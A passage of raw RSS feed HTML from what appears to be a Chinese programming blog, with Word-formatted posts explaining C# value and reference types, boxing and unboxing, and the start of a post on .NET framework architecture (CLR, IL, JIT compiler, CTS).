														<td style="BORDER-RIGHT: #d4d0c8; BORDER-TOP: #d4d0c8; BORDER-LEFT: #d4d0c8; BORDER-BOTTOM: #d4d0c8; BACKGROUND-COLOR: transparent">
																<div>
																		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 31.6pt; mso-char-indent-count: 3.0">
																				<b style="mso-bidi-font-weight: normal">
																						<span lang="EN-US">20<o:p></o:p></span>
																				</b>
																		</p>
																</div>
														</td>
												</tr>
										</tbody>
								</table>
						</v:textbox>
				</v:rect>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 7">                                       </span>
						<span style="mso-spacerun: yes">  </span>b<span style="mso-spacerun: yes">  </span></span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings">
						<span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</span>
				</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>2.2 </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">引用类型</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>Object</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类型、</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">String</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类型、</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Class</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类型、</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Interface</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类型、数组、委托均为引用类型。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">String</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类型是一种特殊的引用类型，引用类型是在托管堆中分配空间的，系统定义应用类型例子：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>Class<span style="mso-spacerun: yes">  </span>A {<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 4">                      </span>Public int id;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">Class B{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>Public int id;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">A a = new A();<span style="mso-spacerun: yes">    </span><o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">B b = new B();<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<v:rect id="_x0000_s1029" style="MARGIN-TOP: 0px; Z-INDEX: 4; LEFT: 0px; MARGIN-LEFT: 252pt; WIDTH: 99pt; TEXT-INDENT: 0px; POSITION: absolute; HEIGHT: 23.4pt; TEXT-ALIGN: left" strokecolor="#333" fillcolor="#969696">
						<v:fill type="pattern" o:title="小网格" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image001.gif">
						</v:fill>
						<v:textbox>
								<table cellspacing="0" cellpadding="0" width="100%">
										<tbody>
												<tr>
														<td style="BORDER-RIGHT: #d4d0c8; BORDER-TOP: #d4d0c8; BORDER-LEFT: #d4d0c8; BORDER-BOTTOM: #d4d0c8; BACKGROUND-COLOR: transparent">
																<div>
																		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 31.6pt; mso-char-indent-count: 3.0">
																				<b style="mso-bidi-font-weight: normal">
																						<span lang="EN-US">Id=10<o:p></o:p></span>
																				</b>
																		</p>
																</div>
														</td>
												</tr>
										</tbody>
								</table>
						</v:textbox>
				</v:rect>
				<span lang="EN-US" style="FONT-SIZE: 14pt">a.id = 10;<span style="mso-spacerun: yes">               </span>a<span style="mso-spacerun: yes">  </span></span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings">
						<span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</span>
				</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<v:rect id="_x0000_s1030" style="MARGIN-TOP: 0px; Z-INDEX: 5; LEFT: 0px; MARGIN-LEFT: 252pt; WIDTH: 99pt; TEXT-INDENT: 0px; POSITION: absolute; HEIGHT: 23.4pt; TEXT-ALIGN: left" strokecolor="#333" fillcolor="#969696">
						<v:fill type="pattern" o:title="宽下对角线" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image003.gif">
						</v:fill>
						<v:textbox>
								<table cellspacing="0" cellpadding="0" width="100%">
										<tbody>
												<tr>
														<td style="BORDER-RIGHT: #d4d0c8; BORDER-TOP: #d4d0c8; BORDER-LEFT: #d4d0c8; BORDER-BOTTOM: #d4d0c8; BACKGROUND-COLOR: transparent">
																<div>
																		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 31.6pt; mso-char-indent-count: 3.0">
																				<b style="mso-bidi-font-weight: normal">
																						<span lang="EN-US">Id=20<o:p></o:p></span>
																				</b>
																		</p>
																</div>
														</td>
												</tr>
										</tbody>
								</table>
						</v:textbox>
				</v:rect>
				<span lang="EN-US" style="FONT-SIZE: 14pt">b.id = 20;<span style="mso-spacerun: yes">       </span><span style="mso-spacerun: yes">        </span>b<span style="mso-spacerun: yes">  </span></span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings">
						<span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</span>
				</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<v:polyline id="_x0000_s1033" style="Z-INDEX: 8; LEFT: 0px; POSITION: absolute; TEXT-ALIGN: left; mso-position-horizontal: absolute; mso-position-vertical: absolute" filled="f" coordsize="651,443" strokeweight="1.5pt" points="215.7pt,19.4pt,248.25pt,41.55pt">
						<v:stroke endarrowwidth="wide" endarrow="open">
						</v:stroke>
						<v:path arrowok="t">
						</v:path>
				</v:polyline>
				<v:rect id="_x0000_s1032" style="MARGIN-TOP: 0px; Z-INDEX: 7; LEFT: 0px; MARGIN-LEFT: 252pt; WIDTH: 99pt; TEXT-INDENT: 0px; POSITION: absolute; HEIGHT: 23.4pt; TEXT-ALIGN: left" strokecolor="#333" fillcolor="#969696">
						<v:fill type="pattern" o:title="小网格" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image001.gif">
						</v:fill>
						<v:textbox>
								<table cellspacing="0" cellpadding="0" width="100%">
										<tbody>
												<tr>
														<td style="BORDER-RIGHT: #d4d0c8; BORDER-TOP: #d4d0c8; BORDER-LEFT: #d4d0c8; BORDER-BOTTOM: #d4d0c8; BACKGROUND-COLOR: transparent">
																<div>
																		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 31.6pt; mso-char-indent-count: 3.0">
																				<b style="mso-bidi-font-weight: normal">
																						<span lang="EN-US">Id=10<o:p></o:p></span>
																				</b>
																		</p>
																</div>
														</td>
												</tr>
										</tbody>
								</table>
						</v:textbox>
				</v:rect>
				<span lang="EN-US" style="FONT-SIZE: 14pt">a = b;<span style="mso-spacerun: yes">                  </span>a<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 21pt">
				<v:rect id="_x0000_s1031" style="MARGIN-TOP: 0px; Z-INDEX: 6; LEFT: 0px; MARGIN-LEFT: 252pt; WIDTH: 99pt; TEXT-INDENT: 0px; POSITION: absolute; HEIGHT: 23.4pt; TEXT-ALIGN: left" strokecolor="#333" fillcolor="#969696">
						<v:fill type="pattern" o:title="宽下对角线" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image003.gif">
						</v:fill>
						<v:textbox>
								<table cellspacing="0" cellpadding="0" width="100%">
										<tbody>
												<tr>
														<td style="BORDER-RIGHT: #d4d0c8; BORDER-TOP: #d4d0c8; BORDER-LEFT: #d4d0c8; BORDER-BOTTOM: #d4d0c8; BACKGROUND-COLOR: transparent">
																<div>
																		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 31.6pt; mso-char-indent-count: 3.0">
																				<b style="mso-bidi-font-weight: normal">
																						<span lang="EN-US">Id=20<o:p></o:p></span>
																				</b>
																		</p>
																</div>
														</td>
												</tr>
										</tbody>
								</table>
						</v:textbox>
				</v:rect>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-spacerun: yes">                       </span>b<span style="mso-spacerun: yes">  </span></span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings">
						<span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</span>
				</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>2.3 </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">装箱和拆箱</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">装箱的过程就是把值类型转变为应用类型的过程，拆箱则是把引用类型转变为值类型的过程，见如下例子：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">int a = 10; <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">object o = a; <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">此为装箱的过程，</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">object o = 10;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">int a = (int)o; <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">此过程则为拆箱过程。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">装箱操作的步骤：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level1 lfo1; tab-stops: list 42.0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">          </span></span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">从托管堆中为新生成的引用类型对象分配内存。分配内存的大小为，值类型实例本身的大小及其他额外的将值类型实例视为真正的引用实例所需的空间，这些额外的空间包括一个方法表指针和一个</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">SyncBlockIndex</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level1 lfo1; tab-stops: list 42.0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">          </span></span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将值类型实例的字段拷贝到托管堆上新分配对象的内存中。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level1 lfo1; tab-stops: list 42.0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">          </span></span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">返回托管堆新分配对象的地址，该地址就是一个指向对象的引用，值类型实例也就变成了一个引用类型对象。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">拆箱操作的步骤：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l1 level1 lfo2; tab-stops: list 42.0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">          </span></span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如果该引用为</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">null</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，则会抛出一个</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">NullReferenceException</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">异常。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l1 level1 lfo2; tab-stops: list 42.0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">          </span></span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如果该引用指向的对象不是一个期望的值类型的装箱对象，将会抛出一个</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">InvalidCastException</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">异常。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l1 level1 lfo2; tab-stops: list 42.0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">          </span></span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">一个指向包含在已装箱对象中值类型部分的指针被返回。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">拆箱的操作代价要不装箱小的多。装箱和拆箱不严格意义上的互反操作。</span>
<img src ="http://www.cnitblog.com/eastperson/aggbug/15365.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-08-16 15:06 <a href="http://www.cnitblog.com/eastperson/archive/2006/08/16/15365.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Microsoft.NET框架开发平台体系架构</title><link>http://www.cnitblog.com/eastperson/archive/2006/08/16/15364.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Wed, 16 Aug 2006 07:03:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/08/16/15364.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/15364.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/08/16/15364.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/15364.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/15364.html</trackback:ping><description><![CDATA[
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-outline-level: 1">
				<span lang="EN-US" style="FONT-SIZE: 14pt">1</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Microsoft.NET</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">框架开发平台体系架构</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-outline-level: 1">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>1.1 </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">框架术语简介</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通用语言运行时（</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Common Language Runtime</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，简称</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CLR</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">），顾名思义它是一个可被各种不同的编程语言所使用的运行时。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-spacerun: yes">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中间语言（</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Intermediate Language</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，简称</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">IL</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">），它是由语言编译器在编译源代码时所产生的指令。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CLR</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在运行时会将</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">IL</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">代码编译成本地</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指令。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">IL</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">代码有时也被称作托管代码（</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">managed code</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">即时编译器（</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Just In Time Compiler</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，简称</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">JIT compiler</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">,IL</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">代码在运行时所进行的第二次编译所使用的编译函数，</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">JIT compiler</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">IL</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">编译成本地代码，存储于动态内存中，当应用程序关闭时，编译的本地代码将被丢弃，下次再启动程序时需要重新编译。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通用类型系统（</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Common Type System</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，简称</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CTS</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">,</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">作为一种语言代码和另外一种语言编写的代码进行无缝集成的一种机制，其为同一平台下的多种语言开发提供了环境。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-outline-level: 1">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>1.2 </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将源代码编译为程序集</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
